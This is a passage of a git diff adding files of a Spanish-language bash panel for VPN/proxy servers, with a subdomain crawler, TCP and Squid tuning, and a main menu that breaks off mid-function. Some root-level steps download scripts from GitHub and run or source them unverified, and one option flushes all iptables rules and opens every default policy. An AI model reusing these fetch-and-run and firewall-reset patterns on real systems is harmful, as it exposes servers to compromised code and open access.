+	elif [[ ${kernel_version} = "3.10.0" || ${kernel_version} = "3.16.0" || ${kernel_version} = "3.2.0" || ${kernel_version} = "4.4.0" || ${kernel_version} = "3.13.0"  || ${kernel_version} = "2.6.32" || ${kernel_version} = "4.9.0" ]]; then
+		kernel_status="Lotserver"
+	elif [[ `echo ${kernel_version} | awk -F'.' '{print $1}'` == "4" ]] && [[ `echo ${kernel_version} | awk -F'.' '{print $2}'` -ge 9 ]] || [[ `echo ${kernel_version} | awk -F'.' '{print $1}'` == "5" ]]; then
+		kernel_status="BBR"
+	else 
+		kernel_status="noinstall"
+	fi
+
+	if [[ ${kernel_status} == "Lotserver" ]]; then
+		if [[ -e /appex/bin/lotServer.sh ]]; then
+			run_status=`bash /appex/bin/lotServer.sh status | grep "LotServer" | awk  '{print $3}'`
+			if [[ ${run_status} = "running!" ]]; then
+				run_status="Comenzó exitosamente"
+			else 
+				run_status="No se pudo iniciar"
+			fi
+		else 
+			run_status="No hay un módulo de aceleración instalado"
+		fi
+	elif [[ ${kernel_status} == "BBR" ]]; then
+		run_status=`grep "net.ipv4.tcp_congestion_control" /etc/sysctl.conf | awk -F "=" '{print $2}'`
+		if [[ ${run_status} == "bbr" ]]; then
+			run_status=`lsmod | grep "bbr" | awk '{print $1}'`
+			if [[ ${run_status} == "tcp_bbr" ]]; then
+				run_status="BBR Comenzó exitosamente"
+			else 
+				run_status="BBR Comenzó exitosamente"
+			fi
+		elif [[ ${run_status} == "tsunami" ]]; then
+			run_status=`lsmod | grep "tsunami" | awk '{print $1}'`
+			if [[ ${run_status} == "tcp_tsunami" ]]; then
+				run_status="BBR La revisión mágica se lanzó con éxito"
+			else 
+				run_status="BBR Inicio de modificación mágica fallido"
+			fi
+		elif [[ ${run_status} == "nanqinlang" ]]; then
+			run_status=`lsmod | grep "nanqinlang" | awk '{print $1}'`
+			if [[ ${run_status} == "tcp_nanqinlang" ]]; then
+				run_status="El violento manifestante de BBR se lanzó con éxito"
+			else 
+				run_status="Violenta revisión mágica de BBR no pudo comenzar"
+			fi
+		else 
+			run_status="No hay un módulo de aceleración instalado"
+		fi
+	elif [[ ${kernel_status} == "BBRplus" ]]; then
+		run_status=`grep "net.ipv4.tcp_congestion_control" /etc/sysctl.conf | awk -F "=" '{print $2}'`
+		if [[ ${run_status} == "bbrplus" ]]; then
+			run_status=`lsmod | grep "bbrplus" | awk '{print $1}'`
+			if [[ ${run_status} == "tcp_bbrplus" ]]; then
+				run_status="BBRplus comenzó con éxito"
+			else 
+				run_status="BBRplus comenzó con éxito"
+			fi
+		else 
+			run_status="No hay un módulo de aceleración instalado"
+		fi
+	fi
+}
+
+#############Componentes de detección del sistema#############
+check_sys
+check_version
+[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} Este script no es compatible con el sistema actual. ${release} !" && exit 1
+start_menu
+

+ 92 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/ultrahost

@@ -0,0 +1,92 @@
+#!/bin/bash
+#27/06/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+subdom () {
+SUBDOM="$1"
+[[ "$SUBDOM" = "" ]] && return
+randomize="$RANDOM"
+    for sites in `cat $log`; do
+    [[ $(echo ${DNS[@]}|grep $sites) = "" ]] && DNS+=($sites)
+    [[ $(echo ${DNS[@]}|grep $sites) != "" ]] && cat $log|grep -v "$sites" > $log
+    done
+    while true; do
+    [[ "$(pidof lynx | wc -w)" -lt "20" ]] && break
+    done
+    (
+    HOST[$randomize]="$SUBDOM"
+    curl -sSL "${HOST[$randomize]}"|grep -Eoi '<a [^>]+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}' >> $log
+    ) > /dev/null 2>&1 &
+}
+
+iniciar () {
+while [[ -z $SUB_DOM ]]; do
+echo -ne "\033[1;33m$(fun_trans "Introduzca el Dominio para realizar la prueba"): " && read SUB_DOM
+done
+[[ -z $limite ]] && echo -ne "\033[1;33m$(fun_trans "Escriba el Limite de Resultados"): " && read limite
+[[ -z ${limite} ]] && limite="300"
+msg -bar
+#CRIA LOG
+log="./loog" && touch $log
+#INICIA PRIMEIRA BUSCA
+_DOM=$(curl -sSL "$SUB_DOM"|grep -Eoi '<a [^>]+>'|grep -Eo 'href="[^\"]+"'|grep -Eo '(http|https)://[a-zA-Z0-9./*]+'|sort -u|awk -F "://" '{print $2}')
+  for _DOMS in `echo $_DOM`; do
+ [[ $(echo ${DNS[@]}|grep ${_DOMS}) = "" ]] && DNS+=(${_DOMS})
+  done
+#INICIA THREADS
+i=0
+while true; do
+DOMAIN=$(echo "${DNS[$i]}")
+[[ $DOMAIN = "" ]] && break
+ if [[ $(echo -e "${PESQ[@]}"|grep "$DOMAIN") = "" ]]; then
+  subdom "$DOMAIN"
+  echo -e "\033[1;31m(Scan\033[1;32m $((${#PESQ[@]}+1))\033[1;31m de \033[1;32m${#DNS[@]}\033[1;31m) - $(fun_trans "Escaneando") ---> \033[1;36mhttp://$DOMAIN\033[1;37m"
+  PESQ+=($DOMAIN)
+ fi
+[[ "$(echo ${#DNS[@]})" -gt "$limite" ]] && break
+i=$(($i+1))
+sleep 1s
+done
+rm $log
+msg -bar
+echo -e "\033[1;32m$(fun_trans "Scan Finalizado Inicio de la colección de IPs")\033[1;31m\033[0m"
+[[ -e $HOME/subresult ]] && rm $HOME/subresult
+[[ ! -e $HOME/subresult ]] && touch $HOME/subresult
+for result in $(echo "${DNS[@]}"); do
+(
+rand="$RANDOM"
+dns[rand]="$result"
+scan[rand]=$(echo ${result}|cut -d'/' -f1)
+IP[rand]=$(nslookup "${scan[rand]}"|grep -Eo 'Address: [0-9.]+'|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|tail -1) > /dev/null 2>&1
+echo -e "====================================\nDNS: ${dns[rand]}\nIP: ${IP[rand]}\n====================================" >> $HOME/subresult
+unset IP
+) &
+done
+while true; do
+[[ $(pidof nslookup|wc -w) -lt "1" ]] && break
+done
+msg -bar
+RSLT=$(($(cat $HOME/subresult|wc -l)/4)) && echo -e "\033[1;32m$RSLT $(fun_trans "Hosts Capturados")\033[0m"
+msg -bar
+echo -ne "$(fun_trans "Desea Imprimir Resultados")? [S/N]: "; read yn
+   [[ $yn = @(s|S|y|Y) ]] && {
+   echo -ne "\033[1;32m"
+   cat $HOME/subresult|grep -v =
+   echo -e "$barra\033[0m"
+   }
+return 0
+}
+#INICIA SCRIPT
+msg -bar
+msg -tit
+echo -e "\033[1;33m $(fun_trans "                  SCAN DE SUNDOMINIOS")"
+msg -bar
+iniciar
+[[ $? = "0" ]] &&
+echo -e "\033[1;32m$(fun_trans "Registro generado en el archivo") $HOME/subresult\033[0m" &&
+msg -bar

+ 143 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/utils.sh

@@ -0,0 +1,143 @@
+#!/bin/bash
+#27/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+RAM () {
+sudo sync
+sudo sysctl -w vm.drop_caches=3 > /dev/null 2>&1
+msg -ama "   Ram limpiada con Exito!"
+}
+TCPspeed () {
+if [[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]]; then
+#INSTALA
+msg -ama "$(fun_trans "TCP Speed No Activado, Desea Activar Ahora")?"
+msg -bar
+while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
+read -p " [S/N]: " -e -i s resposta
+tput cuu1 && tput dl1
+done
+[[ "$resposta" = @(s|S|y|Y) ]] && {
+echo "#ADM" >> /etc/sysctl.conf
+echo "net.ipv4.tcp_window_scaling = 1
+net.core.rmem_max = 16777216
+net.core.wmem_max = 16777216
+net.ipv4.tcp_rmem = 4096 87380 16777216
+net.ipv4.tcp_wmem = 4096 16384 16777216
+net.ipv4.tcp_low_latency = 1
+net.ipv4.tcp_slow_start_after_idle = 0" >> /etc/sysctl.conf
+sysctl -p /etc/sysctl.conf > /dev/null 2>&1
+msg -ama "$(fun_trans "TCP Activo Con Exito")!"
+} || msg -ama "$(fun_trans "Cancelado")!"
+ else
+#REMOVE
+msg -ama "$(fun_trans "TCP Speed ya esta activado, desea detener ahora")?"
+msg -bar
+while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
+read -p " [S/N]: " -e -i s resposta
+tput cuu1 && tput dl1
+done
+[[ "$resposta" = @(s|S|y|Y) ]] && {
+grep -v "^#ADM
+net.ipv4.tcp_window_scaling = 1
+net.core.rmem_max = 16777216
+net.core.wmem_max = 16777216
+net.ipv4.tcp_rmem = 4096 87380 16777216
+net.ipv4.tcp_wmem = 4096 16384 16777216
+net.ipv4.tcp_low_latency = 1
+net.ipv4.tcp_slow_start_after_idle = 0" /etc/sysctl.conf > /tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf
+sysctl -p /etc/sysctl.conf > /dev/null 2>&1
+msg -ama "$(fun_trans "TCP Parado Con Exito")!"
+} || msg -ama "$(fun_trans "Cancelado")!"
+fi
+}
+SquidCACHE () {
+msg -ama "$(fun_trans "Squid Cache, Aplica cache en Squid")"
+msg -ama "$(fun_trans "Mejora la velocidad del squid")"
+msg -bar
+if [ -e /etc/squid/squid.conf ]; then
+squid_var="/etc/squid/squid.conf"
+elif [ -e /etc/squid3/squid.conf ]; then
+squid_var="/etc/squid3/squid.conf"
+else
+msg -ama "$(fun_trans "Su sistema no tiene un squid")!" && return 1
+fi
+teste_cache="#CACHE DO SQUID"
+if [[ `grep -c "^$teste_cache" $squid_var` -gt 0 ]]; then
+  [[ -e ${squid_var}.bakk ]] && {
+  msg -ama "$(fun_trans "Cache squid identificado, eliminando")!"
+  mv -f ${squid_var}.bakk $squid_var
+  msg -ama "$(fun_trans "Cache squid Removido")!"
+  service squid restart > /dev/null 2>&1 &
+  service squid3 restart > /dev/null 2>&1 &
+  return 0
+  }
+fi
+msg -ama "$(fun_trans "Aplicando Cache Squid")!"
+msg -bar
+_tmp="#CACHE DO SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95"
+[[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid"
+while read s_squid; do
+[[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}"
+done < $squid_var
+cp ${squid_var} ${squid_var}.bakk
+echo -e "${_tmp}" > $squid_var
+msg -ama "$(fun_trans "Cache Aplicado con Exito")!"
+service squid restart > /dev/null 2>&1 &
+service squid3 restart > /dev/null 2>&1 &
+}
+timemx () {
+rm -rf /etc/localtime
+ln -s /usr/share/zoneinfo/America/Merida /etc/localtime
+echo -e " $(fun_trans "FECHA LOCAL MX APLICADA!")"
+}
+resetiptables () {
+echo -e "Reiniciando Ipetables espere"
+iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X && iptables -t mangle -F && iptables -t mangle -X && iptables -t raw -F && iptables -t raw -X && iptables -t security -F && iptables -t security -X && iptables -P INPUT ACCEPT && iptables -P FORWARD ACCEPT && iptables -P OUTPUT ACCEPT
+echo -e "iptables reiniciadas con exito"
+}
+packobs () {
+msg -ama "Buscando Paquetes Obsoletos"
+dpkg -l | grep -i ^rc
+msg -ama "Limpiando Paquetes Obsoloteos"
+dpkg -l |grep -i ^rc | cut -d " " -f 3 | xargs dpkg --purge
+msg -ama "Limpieza Completa"
+}
+
+
+on="\033[1;32m[ON]" && off="\033[1;31m[OFF]"
+[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off
+[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && tcp=$off || tcp=$on
+if [ -e /etc/squid/squid.conf ]; then
+[[ `grep -c "^#CACHE DO SQUID" /etc/squid/squid.conf` -gt 0 ]] && squid=$on || squid=$off
+elif [ -e /etc/squid3/squid.conf ]; then
+[[ `grep -c "^#CACHE DO SQUID" /etc/squid3/squid.conf` -gt 0 ]] && squid=$on || squid=$off
+fi
+msg -bar
+msg -tit
+msg -ama "                OPTIMIZADORES BASICOS "
+msg -bar
+echo -ne "\033[1;32m [1] > " && msg -azu "TCP-SPEED $tcp"
+echo -ne "\033[1;32m [2] > " && msg -azu "CACHE PARA SQUID $squid"
+echo -ne "\033[1;32m [3] > " && msg -azu "REFRESCAR RAM"
+echo -ne "\033[1;32m [4] > " && msg -azu "LIMPIAR PAQUETES  OBSOLETOS"
+echo -ne "\033[1;32m [5] > " && msg -azu "$(fun_trans "RESET IPTABLES")"
+echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m"
+msg -bar
+while [[ ${arquivoonlineadm} != @(0|[1-5]) ]]; do
+read -p "[0-5]: " arquivoonlineadm
+tput cuu1 && tput dl1
+done
+case $arquivoonlineadm in
+1)TCPspeed;;
+2)SquidCACHE;;
+3)RAM;;
+4)packobs;;
+5)resetiptables;;
+0)exit;;
+esac
+msg -bar

+ 1 - 0
SCRIPT-v8.4g Oficial/VPS-MX/idioma

@@ -0,0 +1 @@
+es

+ 1 - 0
SCRIPT-v8.4g Oficial/VPS-MX/key.txt

@@ -0,0 +1 @@
+Esta escript es Free

+ 938 - 0
SCRIPT-v8.4g Oficial/VPS-MX/menu

@@ -0,0 +1,938 @@
+#!/bin/bash
+#------<<Script-Free v8.4g>>
+clear
+clear
+SPR &
+sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 >/dev/null 2>&1
+sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1 >/dev/null 2>&1
+sudo sysctl -w net.ipv6.conf.lo.disable_ipv6=1 >/dev/null 2>&1
+_hora=$(printf '%(%D-%H:%M:%S)T')
+#COLORES
+red=$(tput setaf 1)
+gren=$(tput setaf 2)
+yellow=$(tput setaf 3)
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador"
+SCPfrm="${SCPdir}/herramientas"
+SCPinst="${SCPdir}/protocolos"
+SCPidioma="${SCPdir}/idioma"
+#PROCESSADOR
+_core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)")
+_usop=$(top -bn1 | sed -rn '3s/[^0-9]* ([0-9\.]+) .*/\1/p;4s/.*, ([0-9]+) .*/\1/p' | tr '\n' ' ')
+
+#SISTEMA-USO DA CPU-MEMORIA RAM
+ram1=$(free -h | grep -i mem | awk {'print $2'})
+ram2=$(free -h | grep -i mem | awk {'print $4'})
+ram3=$(free -h | grep -i mem | awk {'print $3'})
+
+_ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})")
+_usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')")
+dirapache="/usr/local/lib/ubuntn/apache/ver" && [[ ! -d ${dirapache} ]] && exit
+if [[ -e /etc/bash.bashrc-bakup ]]; then
+   AutoRun="\033[1;32m[ON]"
+elif [[ -e /etc/bash.bashrc ]]; then
+   AutoRun="\033[1;31m[OFF]"
+fi
+# Funcoes Globais
+msg() {
+   #ACTULIZADOR
+   [[ ! -e /etc/versin_script ]] && echo 1 >/etc/versin_script
+   v11=$(cat /etc/versin_script_new)
+   v22=$(cat /etc/versin_script)
+   [[ $v11 = $v22 ]] && vesaoSCT="\033[1;37mVersion\033[1;32m $v22  \033[1;31m]" || vesaoSCT="\033[1;31m($v22)\033[1;97m→\033[1;32m($v11)\033[1;31m  ]"
+   local colors="/etc/VPS-MX/colors"
+   if [[ ! -e $colors ]]; then
+      COLOR[0]='\033[1;37m' #BRAN='\033[1;37m'
+      COLOR[1]='\e[31m'     #VERMELHO='\e[31m'
+      COLOR[2]='\e[32m'     #VERDE='\e[32m'
+      COLOR[3]='\e[33m'     #AMARELO='\e[33m'
+      COLOR[4]='\e[34m'     #AZUL='\e[34m'
+      COLOR[5]='\e[91m'     #MAGENTA='\e[35m'
+      COLOR[6]='\033[1;97m' #MAG='\033[1;36m'
+   else
+      local COL=0
+      for number in $(cat $colors); do
+         case $number in
+         1) COLOR[$COL]='\033[1;37m' ;;
+         2) COLOR[$COL]='\e[31m' ;;
+         3) COLOR[$COL]='\e[32m' ;;
+         4) COLOR[$COL]='\e[33m' ;;
+         5) COLOR[$COL]='\e[34m' ;;
+         6) COLOR[$COL]='\e[35m' ;;
+         7) COLOR[$COL]='\033[1;36m' ;;
+         esac
+         let COL++
+      done
+   fi
+   NEGRITO='\e[1m'
+   SEMCOR='\e[0m'
+   case $1 in
+   -ne) cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}" ;;
+   -ama) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+   -verm) cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}" ;;
+   -verm2) cor="${COLOR[1]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+   -azu) cor="${COLOR[6]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+   -verd) cor="${COLOR[2]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}" ;;
+   -bra) cor="${COLOR[0]}${SEMCOR}" && echo -e "${cor}${2}${SEMCOR}" ;;
+   "-bar2" | "-bar") cor="${COLOR[1]}————————————————————————————————————————————————————" && echo -e "${SEMCOR}${cor}${SEMCOR}" ;;
+   -tit) echo -e "\e[97m \033[1;41m| #-#-► 🐲 SCRIPT VPS•MX ◄-#-# | \033[1;49m\033[1;49m \033[1;31m[ \033[1;32m $vesaoSCT " && echo -e "${SEMCOR}${cor}${SEMCOR}" ;;
+   esac
+}
+canbio_color() {
+   clear
+   msg -bar2
+   msg -tit
+   msg -ama "     CONTROLADOR DE COLORES DEL SCRIP VPS-MX"
+   msg -bar2
+   msg -ama "$(fun_trans "Selecione 7 cores"): "
+   echo -e '\033[1;37m [1] ###\033[0m'
+   echo -e '\e[31m [2] ###\033[0m'
+   echo -e '\e[32m [3] ###\033[0m'
+   echo -e '\e[33m [4] ###\033[0m'
+   echo -e '\e[34m [5] ###\033[0m'
+   echo -e '\e[35m [6] ###\033[0m'
+   echo -e '\033[1;36m [7] ###\033[0m'
+   msg -bar2
+   for number in $(echo {1..7}); do
+      msg -ne "$(fun_trans "Digite un Color") [$number]: " && read corselect
+      [[ $corselect != @([1-7]) ]] && corselect=1
+      cores+="$corselect "
+      corselect=0
+   done
+   echo "$cores" >/etc/VPS-MX/colors
+   msg -bar2
+}
+fun_trans() {
+   local texto
+   local retorno
+   declare -A texto
+   SCPidioma="${SCPdir}/idioma"
+   [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma}
+   local LINGUAGE=$(cat ${SCPidioma})
+   [[ -z $LINGUAGE ]] && LINGUAGE=es
+   [[ $LINGUAGE = "es" ]] && echo "$@" && return
+   [[ ! -e /usr/bin/trans ]] && wget -O /usr/bin/trans https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/trans &>/dev/null
+   [[ ! -e /etc/VPS-MX/texto-mx ]] && touch /etc/VPS-MX/texto-mx
+   source /etc/VPS-MX/texto-mx
+   if [[ -z "$(echo ${texto[$@]})" ]]; then
+      #ENGINES=(aspell google deepl bing spell hunspell apertium yandex)
+      #NUM="$(($RANDOM%${#ENGINES[@]}))"
+      retorno="$(source trans -e bing -b es:${LINGUAGE} "$@" | sed -e 's/[^a-z0-9 -]//ig' 2>/dev/null)"
+      echo "texto[$@]='$retorno'" >>/etc/VPS-MX/texto-mx
+      echo "$retorno"
+   else
+      echo "${texto[$@]}"
+   fi
+}
+function_verify() {
+
+   v1=$(curl -sSL "https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/SCRIPT-v8.4g%20Oficial/Version")
+   echo "$v1" >/etc/versin_script
+}
+atualiza_fun() {
+   
+   clear && clear 
+   echo -e "e\[1;97m       SEGURO DE ACTULIZAR VPS-MX"
+   read -t 60 -n 1 -rsp $'\033[1;39m       << Presiona enter para Continuar >>\n'
+   rm -rf Install-Sin-Key.sh
+   apt update
+   apt upgrade -y
+   wget https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/Instalador/Install-Sin-Key.sh
+   chmod 777 Install-Sin-Key.sh
+   ./Install-Sin-Key.sh
+   function_verify
+   echo -e "${cor[2]}               ACTULIZACION COMPLETA "
+   echo -e "         COMANDO PRINCIPAL PARA ENTRAR AL PANEL "
+   echo -e "  \033[1;41m               sudo VPSMX o menu             \033[0;37m" && msg -bar2
+
+   exit 1
+}
+funcao_idioma() {
+   tput cuu1 && tput dl1
+   msg -bar2
+   declare -A idioma=([1]="en English" [2]="fr Franch" [3]="de German" [4]="it Italian" [5]="pl Polish" [6]="pt Portuguese" [7]="es Spanish" [8]="tr Turkish")
+   for ((i = 1; i <= 12; i++)); do
+      valor1="$(echo ${idioma[$i]} | cut -d' ' -f2)"
+      [[ -z $valor1 ]] && break
+      valor1="\033[1;32m[$i] > \033[1;33m$valor1"
+      while [[ ${#valor1} -lt 37 ]]; do
+         valor1=$valor1" "
+      done
+      echo -ne "$valor1"
+      let i++
+      valor2="$(echo ${idioma[$i]} | cut -d' ' -f2)"
+      [[ -z $valor2 ]] && {
+         echo -e " "
+         break
+      }
+      valor2="\033[1;32m[$i] > \033[1;33m$valor2"
+      while [[ ${#valor2} -lt 37 ]]; do
+         valor2=$valor2" "
+      done
+      echo -ne "$valor2"
+      let i++
+      valor3="$(echo ${idioma[$i]} | cut -d' ' -f2)"
+      [[ -z $valor3 ]] && {
+         echo -e " "
+         break
+      }
+      valor3="\033[1;32m[$i] > \033[1;33m$valor3"
+      while [[ ${#valor3} -lt 37 ]]; do
+         valor3=$valor3" "
+      done
+      echo -e "$valor3"
+   done
+   msg -bar2
+   unset selection
+   while [[ ${selection} != @([1-8]) ]]; do
+      echo -ne "\033[1;37m$(fun_trans "  ► Selecione una Opcion"): " && read selection
+      tput cuu1 && tput dl1
+   done
+   [[ -e /etc/VPS-MX/texto-mx ]] && rm /etc/VPS-MX/texto-mx
+   echo "$(echo ${idioma[$selection]} | cut -d' ' -f1)" >${SCPidioma}
+}
+mine_port() {
+   clear
+   clear
+   msg -bar
+   msg -tit
+   echo -e "\033[1;93m      INFORMACION DEL SISTEMA Y PUERTOS ACTIVOS"
+   msg -bar2
+   echo -e "\033[1;31m PROCESADOR: \033[1;37mNUCLEOS: \033[1;32m$_core         \033[1;37mUSO DE CPU: \033[1;32m$_usop"
+   echo -e "\033[1;31m LA MEMORIA RAM SE ENCUENTRA AL: \033[1;32m$_usor"
+   echo -e "\033[1;31m DETALLE RAM: \033[1;37mTOTAL: \033[1;32m$ram1  \033[1;37mUSADO: \033[1;32m$ram3  \033[1;37mLIBRE: \033[1;32m$ram2"
+   msg -ne " SO: " && echo -ne "\033[1;37m$(os_system)  "
+   msg -ne " IP: " && echo -e "\033[1;37m$(meu_ip)"
+   msg -bar2
+   local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
+   local NOREPEAT
+   local reQ
+   local Port
+   while read port; do
+      reQ=$(echo ${port} | awk '{print $1}')
+      Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}')
+      [[ $(echo -e $NOREPEAT | grep -w "$Port") ]] && continue
+      NOREPEAT+="$Port\n"
+      case ${reQ} in
+      squid | squid3)
+         [[ -z $SQD ]] && local SQD="\033[1;31m SQUID: \033[1;32m"
+         SQD+="$Port "
+         ;;
+      apache | apache2)
+         [[ -z $APC ]] && local APC="\033[1;31m APACHE: \033[1;32m"
+         APC+="$Port "
+         ;;
+      ssh | sshd)
+         [[ -z $SSH ]] && local SSH="\033[1;31m SSH: \033[1;32m"
+         SSH+="$Port "
+         ;;
+      dropbear)
+         [[ -z $DPB ]] && local DPB="\033[1;31m DROPBEAR: \033[1;32m"
+         DPB+="$Port "
+         ;;
+      ssserver | ss-server)
+         [[ -z $SSV ]] && local SSV="\033[1;31m SHADOWSOCKS: \033[1;32m"
+         SSV+="$Port "
+         ;;
+      openvpn)
+         [[ -z $OVPN ]] && local OVPN="\033[1;31m OPENVPN-TCP: \033[1;32m"
+         OVPN+="$Port "
+         ;;
+      stunnel4 | stunnel)
+         [[ -z $SSL ]] && local SSL="\033[1;31m SSL: \033[1;32m"
+         SSL+="$Port "
+         ;;
+      python | python3)
+         [[ -z $PY3 ]] && local PY3="\033[1;31m SOCKS/PYTHON: \033[1;32m"
+         PY3+="$Port "
+         ;;
+      v2ray)
+         [[ -z $V2R ]] && local V2R="\033[1;31m V2RAY: \033[1;32m"
+         V2R+="$Port "
+         ;;
+      badvpn-ud)
+         [[ -z $BAD ]] && local BAD="\033[1;31m BADVPN: \033[1;32m"
+         BAD+="$Port "
+         ;;
+      esac
+   done <<<"${portasVAR}"
+   #UDP
+   local portasVAR=$(lsof -V -i -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND")
+   local NOREPEAT
+   local reQ
+   local Port
+   while read port; do
+      reQ=$(echo ${port} | awk '{print $1}')
+      Port=$(echo ${port} | awk '{print $9}' | awk -F ":" '{print $2}')
+      [[ $(echo -e $NOREPEAT | grep -w "$Port") ]] && continue
+      NOREPEAT+="$Port\n"
+      case ${reQ} in
+      openvpn)
+         [[ -z $OVPN ]] && local OVPN="\033[0;36m OPENVPN-UDP: \033[1;32m"
+         OVPN+="$Port "
+         ;;
+      esac
+   done <<<"${portasVAR}"
+   [[ ! -z $SSH ]] && echo -e $SSH
+   [[ ! -z $SSL ]] && echo -e $SSL
+   [[ ! -z $DPB ]] && echo -e $DPB
+   [[ ! -z $SQD ]] && echo -e $SQD
+   [[ ! -z $PY3 ]] && echo -e $PY3
+   [[ ! -z $SSV ]] && echo -e $SSV
+   [[ ! -z $V2R ]] && echo -e $V2R
+   [[ ! -z $APC ]] && echo -e $APC
+   [[ ! -z $OVPN ]] && echo -e $OVPN
+   [[ ! -z $BAD ]] && echo -e $BAD
+   msg -bar2
+
+}
+ofus() {
+   unset txtofus
+   number=$(expr length $1)
+   for ((i = 1; i < $number + 1; i++)); do
+      txt[$i]=$(echo "$1" | cut -b $i)
+      case ${txt[$i]} in
+      ".") txt[$i]="v" ;;
+      "v") txt[$i]="." ;;
+      "1") txt[$i]="@" ;;
+      "@") txt[$i]="1" ;;
+      "2") txt[$i]="?" ;;
+      "?") txt[$i]="2" ;;
+      "4") txt[$i]="p" ;;
+      "p") txt[$i]="4" ;;
+      "-") txt[$i]="K" ;;
+      "K") txt[$i]="-" ;;
+      esac
+      txtofus+="${txt[$i]}"
+   done
+   echo "$txtofus" | rev
+}
+limpar_caches() {
+   (
+      VE="\033[1;33m" && MA="\033[1;31m" && DE="\033[1;32m"
+      while [[ ! -e /tmp/abc ]]; do
+         A+="#"
+         echo -e "${VE}[${MA}${A}${VE}]" >&2
+         sleep 0.3s
+         tput cuu1 && tput dl1
+      done
+      echo -e "${VE}[${MA}${A}${VE}] - ${DE}[100%]" >&2
+      rm /tmp/abc
+   ) &
+   echo 3 >/proc/sys/vm/drop_caches &>/dev/null
+   sleep 1s
+   sysctl -w vm.drop_caches=3 &>/dev/null
+   apt-get autoclean -y &>/dev/null
+   sleep 1s
+   apt-get clean -y &>/dev/null
+   rm /tmp/* &>/dev/null
+   touch /tmp/abc
+   sleep 0.5s
+   msg -bar
+   msg -ama "$(fun_trans "PROCESO CONCLUIDO")"
+   msg -bar
+}
+fun_autorun() {
+   if [[ -e /etc/bash.bashrc-bakup ]]; then
+      mv -f /etc/bash.bashrc-bakup /etc/bash.bashrc
+      cat /etc/bash.bashrc | grep -v "/etc/VPS-MX/menu" >/tmp/bash
+      mv -f /tmp/bash /etc/bash.bashrc
+      msg -ama "$(fun_trans "REMOVIDO CON EXITO")"
+      msg -bar
+   elif [[ -e /etc/bash.bashrc ]]; then
+      cat /etc/bash.bashrc | grep -v /bin/menu >/etc/bash.bashrc.2
+      echo '/etc/VPS-MX/menu' >>/etc/bash.bashrc.2
+      cp /etc/bash.bashrc /etc/bash.bashrc-bakup
+      mv -f /etc/bash.bashrc.2 /etc/bash.bashrc
+      msg -ama "$(fun_trans "AUTO INICIALIZAR AGREGADO")"
+      msg -bar
+   fi
+}
+fun_bar() {
+   comando="$1"
+   _=$(
+      $comando >/dev/null 2>&1
+   ) &
+   >/dev/null
+   pid=$!
